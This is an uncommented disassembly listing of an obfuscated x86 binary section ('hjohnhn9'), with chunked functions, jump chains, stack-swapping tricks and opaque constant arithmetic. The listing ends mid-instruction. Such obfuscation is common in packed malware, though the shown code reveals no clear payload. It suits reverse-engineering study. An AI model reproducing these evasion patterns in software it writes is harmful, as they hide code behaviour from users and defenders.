loc_42498B: ; CODE XREF: sub_4260BD-264Dj mov [ebx], eax pop ebx xor eax, eax push ebx jmp loc_423CA1 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_424996: ; DATA XREF: sub_425EEA-2067o cmp dword ptr [eax-1Ch], 0F7h jnz loc_423F3D ; START OF FUNCTION CHUNK FOR sub_424631 loc_4249A3: ; CODE XREF: sub_424631+907j ; sub_424631+2A7Aj ... jb loc_428DD1 mov eax, [ebp+8] test byte ptr [eax-10h], 38h call sub_4281B9 loc_4249B5: ; CODE XREF: sub_42303E+40EAj jmp loc_425040 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_4249BA: ; CODE XREF: hjohnhn9:00425BB3j jmp loc_42688E ; =============== S U B R O U T I N E ======================================= sub_4249BF proc near ; DATA XREF: sub_42472Do push ebx mov ebx, ebp push offset loc_42821A jmp nullsub_10 sub_4249BF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_4249CC: ; CODE XREF: sub_4279C0:loc_423D42j push edi mov edi, ecx xchg edi, [esp+4+var_4] call sub_426A78 loc_4249D7: ; CODE XREF: sub_428F4A+9j jmp loc_425F5B ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_4249DC: ; CODE XREF: sub_4231AD+4DFDj jmp nullsub_46 ; END OF FUNCTION CHUNK FOR sub_4231AD ; =============== S U B R O U T I N E ======================================= sub_4249E1 proc near ; CODE XREF: hjohnhn9:004246EFp ; hjohnhn9:00428A23j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423EB7 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax xchg edi, [esp+0] mov ecx, eax xchg ecx, [esp+0] jmp loc_423EB7 sub_4249E1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebp, 93E12E7Eh jmp sub_426523 ; --------------------------------------------------------------------------- sub esi, 3FFC6C71h jmp sub_428309 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424A07: ; CODE XREF: sub_42851A:loc_429107j cmp edx, 5259E0A8h jmp loc_424E6B ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_424A12: ; CODE XREF: sub_4260BD+158Bj jl loc_426D93 jmp loc_426325 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42897B loc_424A1D: ; CODE XREF: sub_42897B-3A0Aj mov eax, [ebp-8] sub [ebp-0Ch], eax pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42897B ; =============== S U B R O U T I N E ======================================= sub_424A28 proc near ; CODE XREF: sub_423548+4p sub_423F65p ; FUNCTION CHUNK AT 00424824 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004276BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427ACF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004284A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042872F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004289C5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428EAA SIZE 00000015 BYTES jnb loc_424824 jmp loc_42872F sub_424A28 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_424A33: ; CODE XREF: sub_42304F+503Bj push eax jmp loc_4274F9 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_424A39: ; CODE XREF: sub_4244F5+Dj add esp, 8 mov eax, [eax] add eax, [ebp-4] jmp loc_4290DF ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_424A46: ; CODE XREF: sub_4237F4:loc_423963j xor ecx, 49492E6Ch pushf rol ecx, 4 jmp loc_4243D4 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= sub_424A55 proc near ; CODE XREF: sub_426287+3j ; FUNCTION CHUNK AT 00424C81 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 004286DD SIZE 00000009 BYTES add esp, 0FFFFFFF8h mov [ebp-4], eax mov eax, [ebp-4] loc_424A5E: ; CODE XREF: hjohnhn9:loc_427B6Dj mov [ebp-8], eax mov eax, [ebp+8] test byte ptr [eax-8], 10h jmp loc_4286DD sub_424A55 endp ; sp-analysis failed ; --------------------------------------------------------------------------- and esi, eax jmp sub_425E49 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424A75: ; CODE XREF: hjohnhn9:004281E5j mov esi, [ebp+0] ; =============== S U B R O U T I N E ======================================= sub_424A78 proc near ; CODE XREF: sub_4234CA+4p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042380B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423FE9 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004242D9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004248CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424AA4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424C0C SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00426BDF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426DAA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427637 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427800 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427984 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282EF SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00428B8A SIZE 0000000E BYTES xchg ecx, [esp+0] pop ecx call sub_424698 jmp loc_424C33 sub_424A78 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnz loc_424F76 jmp loc_4271A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_424A92: ; CODE XREF: sub_423F65+1345j cmp ebp, 0A0055B9Fh jmp loc_424F8B ; END OF FUNCTION CHUNK FOR sub_423F65 ; =============== S U B R O U T I N E ======================================= sub_424A9D proc near ; DATA XREF: hjohnhn9:004266F3o push eax call sub_4244F5 retn sub_424A9D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_424AA4: ; CODE XREF: sub_424A78+1C9j jmp loc_424C0C ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279ED loc_424AA9: ; CODE XREF: sub_4279ED-3540j jmp nullsub_32 ; END OF FUNCTION CHUNK FOR sub_4279ED ; =============== S U B R O U T I N E ======================================= sub_424AAE proc near ; CODE XREF: sub_426475-2F96p ; sub_424335+4p ... mov eax, 54F79355h locret_424AB3: ; CODE XREF: hjohnhn9:0042776Aj retn sub_424AAE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424AB4: ; CODE XREF: sub_425BD2+174Dj jmp loc_424E86 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_424AB9: ; CODE XREF: sub_427564:loc_42756Bj call sub_424AAE push 0B95E2A78h pop edx jmp loc_428B22 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- loc_424AC9: ; CODE XREF: hjohnhn9:00423972j push esi ; START OF FUNCTION CHUNK FOR sub_428477 loc_424ACA: ; CODE XREF: sub_428477:loc_42395Dj and edx, 0AFC9BF05h xor edx, 17C11FA5h add edx, ebp jmp loc_424CC8 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- locret_424ADD: ; CODE XREF: hjohnhn9:00423FB4j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_424ADE: ; CODE XREF: sub_4262C5-145Fj jmp loc_423466 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424AE3 proc near ; CODE XREF: hjohnhn9:00423FAAp var_4 = dword ptr -4 push ebp mov ebp, esp push ebx mov ebx, ecx xchg ebx, [esp+4+var_4] loc_424AEC: ; CODE XREF: hjohnhn9:00424BE4j mov [ebp+var_4], eax call sub_427E7B jmp loc_424F48 sub_424AE3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_424AF9: ; CODE XREF: sub_4244F5-2AFj push 82D50C2h adc eax, esi loc_424B00: ; CODE XREF: sub_4244F5:loc_424238j rol ecx, 12h add ecx, 83F71552h xchg ecx, [esp+4+var_4] jmp loc_425E44 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- loc_424B11: ; CODE XREF: hjohnhn9:00425024j cmp eax, 5BF3FC7Eh jmp loc_428626 ; --------------------------------------------------------------------------- loc_424B1C: ; CODE XREF: hjohnhn9:00427C52j ; DATA XREF: sub_427C43o mov edx, 1 lock xchg edx, [eax] or edx, edx push offset sub_424EA4 jmp locret_427876 ; =============== S U B R O U T I N E ======================================= sub_424B30 proc near ; CODE XREF: sub_424631-6F1p ; hjohnhn9:00428D7Bj xchg edi, [esp+0] pop edi mov [ebp-8], eax mov eax, [ebp-8] call sub_423655 loc_424B3F: ; CODE XREF: sub_423B05+913j jmp nullsub_11 sub_424B30 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_424B45: ; CODE XREF: sub_423B05+15j jmp loc_4230CE ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_424B4A proc near ; DATA XREF: sub_426354+Eo ; FUNCTION CHUNK AT 0042666C SIZE 00000005 BYTES jnz loc_426938 mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax jmp loc_42666C sub_424B4A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_424B60: ; CODE XREF: sub_426354+4j cmp dword ptr [ebp-1Ch], 66h jnz loc_426938 jmp loc_425EC5 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- loc_424B6F: ; CODE XREF: hjohnhn9:00423312j jz loc_42476D jmp loc_4270CA ; --------------------------------------------------------------------------- popf jmp sub_427B7A ; --------------------------------------------------------------------------- mov ebp, 849A51Eh jmp sub_426C1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_424B8A: ; CODE XREF: sub_42363F+1227j not ecx cmp eax, 61EBB8C1h jmp loc_427491 ; END OF FUNCTION CHUNK FOR sub_42363F ; =============== S U B R O U T I N E ======================================= sub_424B97 proc near ; DATA XREF: hjohnhn9:00423998o ; FUNCTION CHUNK AT 00424EBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042741C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042829E SIZE 00000025 BYTES mov esp, ebp xchg edx, [esp+0] push edx pop ebp jmp loc_424EBE sub_424B97 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_424BA3: ; CODE XREF: sub_4278DC+7B9j jz loc_427B3C jmp loc_424C01 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_424BAE: ; CODE XREF: sub_4236A7+5986j jl loc_42706D ; END OF FUNCTION CHUNK FOR sub_4236A7 ; START OF FUNCTION CHUNK FOR sub_423CDB loc_424BB4: ; CODE XREF: sub_423CDB:loc_42626Aj jmp loc_426762 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- or edi, 86054EE6h jnz loc_425CC2 and esi, edx test eax, edx jmp loc_428F2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_424BCE: ; CODE XREF: sub_4263E3:loc_4265E9j pop ebp push offset sub_4262C2 jmp nullsub_112 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_424BD9: ; CODE XREF: sub_42466E:loc_425D3Dj jle loc_42476D jmp loc_423BB8 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- jg loc_424AEC mov [ebp+0], ecx jmp sub_424631 ; --------------------------------------------------------------------------- loc_424BF2: ; DATA XREF: sub_4279ED-3545o cmp dword ptr [ebp-4], 0 jz loc_4244EE call sub_4289A4 ; START OF FUNCTION CHUNK FOR sub_4278DC loc_424C01: ; CODE XREF: sub_4278DC-2D33j jmp loc_423D54 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- cdq jmp sub_42441D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_424C0C: ; CODE XREF: sub_424A78:loc_424AA4j jz loc_426BDF push ebp mov eax, [ebp-20h] call sub_423B6C pop ecx mov [ebp-20h], eax jmp loc_4242D9 ; --------------------------------------------------------------------------- loc_424C24: ; CODE XREF: sub_424A78:loc_424C37j test byte ptr [ebp-7], 8 jz loc_426BDF jmp loc_427800 ; --------------------------------------------------------------------------- loc_424C33: ; CODE XREF: sub_424A78+9j pop ecx mov [ebp-20h], eax loc_424C37: ; CODE XREF: sub_427B51+11j ; sub_428162+Dj ... jz loc_424C24 test byte ptr [ebp-7], 8 jmp loc_424AA4 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_424C46: ; CODE XREF: sub_4237F4-401j ; sub_424631:loc_4264F5j mov [edx-18h], eax inc [ebp+var_4] mov eax, [ebp+arg_0] mov eax, [eax-18h] and eax, 7 push offset loc_423DA8 jmp nullsub_40 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424C5F proc near ; CODE XREF: sub_423F65+432Cp ; FUNCTION CHUNK AT 004263D8 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h call sub_424EC9 loc_424C6A: ; DATA XREF: sub_425CB3+1BB2o push eax push offset sub_4279C8 jmp loc_4263D8 sub_424C5F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279ED loc_424C76: ; CODE XREF: sub_4279ED+15j jmp loc_4244A3 ; END OF FUNCTION CHUNK FOR sub_4279ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_424C7B: ; CODE XREF: sub_423BC3+3C76j jmp loc_42465F ; END OF FUNCTION CHUNK FOR sub_423BC3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A55 loc_424C81: ; CODE XREF: sub_424A55:loc_4286DDj mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_424C97 add dword ptr [ebp-8], 4 jmp loc_4286E6 ; --------------------------------------------------------------------------- loc_424C97: ; CODE XREF: sub_424A55+233j add dword ptr [ebp-8], 2 jmp loc_426B92 ; END OF FUNCTION CHUNK FOR sub_424A55 ; --------------------------------------------------------------------------- call sub_427324 ; START OF FUNCTION CHUNK FOR sub_423CDB loc_424CA5: ; CODE XREF: sub_423CDB+472Cj jmp loc_428851 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_424CAA: ; CODE XREF: sub_424631+1FFCj jmp loc_426535 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_424CAF: ; CODE XREF: hjohnhn9:00424F15j and ebx, 6E04C0F0h mov [ebp+0], edx test ecx, ebx jmp loc_427EF5 ; --------------------------------------------------------------------------- shr edx, 1Ah popf jmp sub_423655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_424CC8: ; CODE XREF: sub_428477-399Fj add edx, 0C43ED46Bh mov edx, [edx] xchg edx, [esp+0] loc_424CD3: ; CODE XREF: hjohnhn9:00423A8Dj push [ebp+arg_4] push eax push 3F802B24h jmp loc_424DE2 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- cmp edx, 42E40086h jmp loc_426E86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_424CEC: ; CODE XREF: sub_4231AD+3746j and ax, 38FFh cmp ax, 20FFh jz loc_427555 xor eax, eax loc_424CFC: ; CODE XREF: sub_4231AD+43AAj mov [ebp-5], al jmp loc_4265C8 ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_424D04: ; CODE XREF: sub_427AC0:loc_423B3Ej jz loc_424705 xchg ebp, [edi] jmp loc_424703 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_424D11: ; CODE XREF: sub_4250FC-1D98j pop eax loc_424D12: ; CODE XREF: hjohnhn9:loc_4232F7j mov eax, 400h push ecx push 52D8C801h xchg eax, [esp+0] jmp loc_423114 ; END OF FUNCTION CHUNK FOR sub_4250FC ; =============== S U B R O U T I N E ======================================= sub_424D25 proc near ; CODE XREF: hjohnhn9:00424385j ; sub_427032:loc_42448Cp xchg ecx, [esp+0] pop ecx cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_427039 retn sub_424D25 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424D38 proc near ; CODE XREF: hjohnhn9:00423140j ; sub_4244F5p ; FUNCTION CHUNK AT 00423958 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428AAC SIZE 0000000F BYTES xchg edx, [esp+0] loc_424D3B: ; CODE XREF: hjohnhn9:00425116j pop edx push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp-4], eax call nullsub_2 loc_424D4A: ; CODE XREF: sub_4250FC+1823j mov eax, [ebp-4] jmp loc_428AAC sub_424D38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_424D52: ; CODE XREF: sub_427486:loc_42721Dj add eax, 0FB3E126Ch push offset loc_427661 jmp loc_42850B ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424D63: ; CODE XREF: sub_42851A+3j jmp loc_428951 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_424D68: ; CODE XREF: sub_424161-F65j jmp loc_426C7F ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_424D6D: ; CODE XREF: sub_426354-475j inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_4252DC[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jmp loc_4283BF ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- pushf jmp sub_428945 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_424D8C: ; CODE XREF: sub_42304F:loc_426EF9j movzx eax, word ptr [eax] push offset word_423E06 jmp loc_428F45 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= sub_424D99 proc near ; DATA XREF: sub_428CE7:loc_428E3Co ; FUNCTION CHUNK AT 00423C1A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00423EF4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424003 SIZE 00000005 BYTES push 1EC7B0C3h pop ebx sub ebx, 961ABD41h cmp ebx, 605F4E86h jmp loc_424003 sub_424D99 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424DB0: ; DATA XREF: sub_4275A3:loc_425CD2o add edx, 0A38B8F95h add edx, ebp ; START OF FUNCTION CHUNK FOR sub_4260BD loc_424DB8: ; CODE XREF: sub_4260BD:loc_426D8Cj add edx, 9FDC25DBh mov [edx], eax pop edx jmp loc_4239D3 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_424DC6: ; CODE XREF: hjohnhn9:loc_4268B3j inc ds:dword_4233C4 lea eax, nullsub_123 jmp loc_425FB1 ; --------------------------------------------------------------------------- loc_424DD7: ; DATA XREF: sub_4244F5:loc_42681Do push eax push 0 push eax mov eax, ebx jmp loc_428E39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_424DE2: ; CODE XREF: sub_428477-379Bj xchg edx, [esp+0Ch+var_C] mov eax, edx pop edx xor eax, ds:4000F6h and eax, 7E3752A7h xor eax, 0D8CB25EAh or eax, 0D65B20F8h jmp loc_4279E3 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_424E05: ; CODE XREF: sub_424564:loc_42456Dj mov eax, [ebp+var_4] movzx eax, byte ptr [eax] cmp ds:dword_4252DC[eax*4], 0 jz loc_42755C mov eax, [ebp+var_4] loc_424E1C: ; CODE XREF: hjohnhn9:00426EA7j cmp byte ptr [eax], 0CFh jmp loc_426547 ; END OF FUNCTION CHUNK FOR sub_424564 ; --------------------------------------------------------------------------- dword_424E24 dd 1E6E8h, 0FC08400h, 1D884h, 0E57AE900h ; DATA XREF: sub_427E7Bo db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42392D loc_424E36: ; CODE XREF: sub_42392D:loc_428AE8j mov [ebp-1], al cmp byte ptr [ebp-1], 0 jz loc_428728 mov dword ptr [ebp-8], 1 jmp loc_4244E4 ; END OF FUNCTION CHUNK FOR sub_42392D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E4F proc near ; CODE XREF: sub_42392Dj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 ; FUNCTION CHUNK AT 004244D3 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042634F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004265B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428728 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00428B82 SIZE 00000008 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_1], al jmp loc_42634F sub_424E4F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424E5D proc near ; CODE XREF: sub_4262C5:loc_423B1Fp ; hjohnhn9:00427F7Dj xchg ecx, [esp+0] pop ecx pop ebp retn sub_424E5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_424E63: ; CODE XREF: sub_4262C5-2A24j ; sub_428447+4j mov eax, [ebp-4] jmp loc_424ADE ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_424E6B: ; CODE XREF: sub_42851A-3B0Dj ; sub_42325E:loc_428B46j ja loc_423B46 push 0B6B4C19Fh ; END OF FUNCTION CHUNK FOR sub_42325E ; START OF FUNCTION CHUNK FOR sub_42851A loc_424E76: ; CODE XREF: sub_42851A:loc_4269E6j call sub_424877 mov edx, 95918C9Dh push ebx jmp loc_424EF1 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424E86: ; CODE XREF: sub_425BD2:loc_424AB4j mov ebp, eax pop eax retn ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424377 loc_424E8A: ; CODE XREF: sub_424377+3j jmp loc_42777F ; END OF FUNCTION CHUNK FOR sub_424377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_424E8F: ; CODE XREF: sub_428477-4A96j jmp nullsub_64 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_424E94: ; CODE XREF: sub_427486:loc_4271F2j push offset loc_4266F0 loc_424E99: ; CODE XREF: sub_426A78:loc_425F15j jmp loc_4263D3 ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_424E9F: ; CODE XREF: sub_42355C+2B37j jmp loc_425C40 ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_424EA4 proc near ; DATA XREF: hjohnhn9:00424B26o jz nullsub_111 sub_424EA4 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428183 loc_424EAA: ; CODE XREF: sub_428183-4E50j ; sub_428183+4j jns loc_42333E push eax push 0 call sub_428192 jmp loc_428B11 ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- locret_424EBD: ; CODE XREF: hjohnhn9:0042611Ej retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B97 loc_424EBE: ; CODE XREF: sub_424B97+7j jmp loc_42829E ; END OF FUNCTION CHUNK FOR sub_424B97 ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: hjohnhn9:004269F7j jz loc_423D7C ; =============== S U B R O U T I N E ======================================= sub_424EC9 proc near ; CODE XREF: sub_424C5F+6p ; FUNCTION CHUNK AT 004262D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427298 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427E0A SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00428A28 SIZE 00000012 BYTES xchg esi, [esp+0] pop esi push eax jmp loc_4262D5 sub_424EC9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D9D loc_424ED3: ; CODE XREF: sub_427D9D+11j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h setz al loc_424EE0: ; CODE XREF: hjohnhn9:00428DCCj call sub_42392D pop ecx shl eax, 7 mov edx, [ebp+8] loc_424EEC: ; CODE XREF: sub_424D99:loc_423EF4j jmp loc_42838D ; END OF FUNCTION CHUNK FOR sub_427D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424EF1: ; CODE XREF: sub_42851A-3699j push 0DD8D7CECh pop ebx xor ebx, 56A764BCh and ebx, 0A66DF4EDh jnz loc_427EFB ; END OF FUNCTION CHUNK FOR sub_42851A ; START OF FUNCTION CHUNK FOR sub_424631 loc_424F09: ; CODE XREF: sub_424631+318Fj jmp loc_427DB3 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- popf or edx, 6DDE1E3h jmp loc_424CAF ; --------------------------------------------------------------------------- loc_424F1A: ; CODE XREF: hjohnhn9:00425D22j jbe locret_426747 ; =============== S U B R O U T I N E ======================================= sub_424F20 proc near ; CODE XREF: hjohnhn9:00423DC2p xchg edx, [esp+0] pop edx or dword ptr [eax-8], 8 sub_424F20 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424631 loc_424F28: ; CODE XREF: sub_424631-1235j ; hjohnhn9:loc_423DAFj ... jno loc_4270A1 mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_4249A3 loc_424F3E: ; CODE XREF: hjohnhn9:loc_426C41j jmp loc_42708C ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_424F43: ; CODE XREF: sub_42304F+3C09j call sub_427792 loc_424F48: ; CODE XREF: sub_424AE3+11j jmp loc_428AA2 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_424F4D: ; CODE XREF: sub_424698+CBj jmp loc_4238FE ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42442F loc_424F52: ; CODE XREF: sub_42442F+Ej jmp sub_42897A ; END OF FUNCTION CHUNK FOR sub_42442F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_424F57: ; CODE XREF: sub_4236A7-3E4j jmp loc_429027 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42897B loc_424F5C: ; CODE XREF: sub_42897B:loc_42898Aj pop esi rol esi, 0Bh add esi, 11DFE9BEh add esi, ebp add 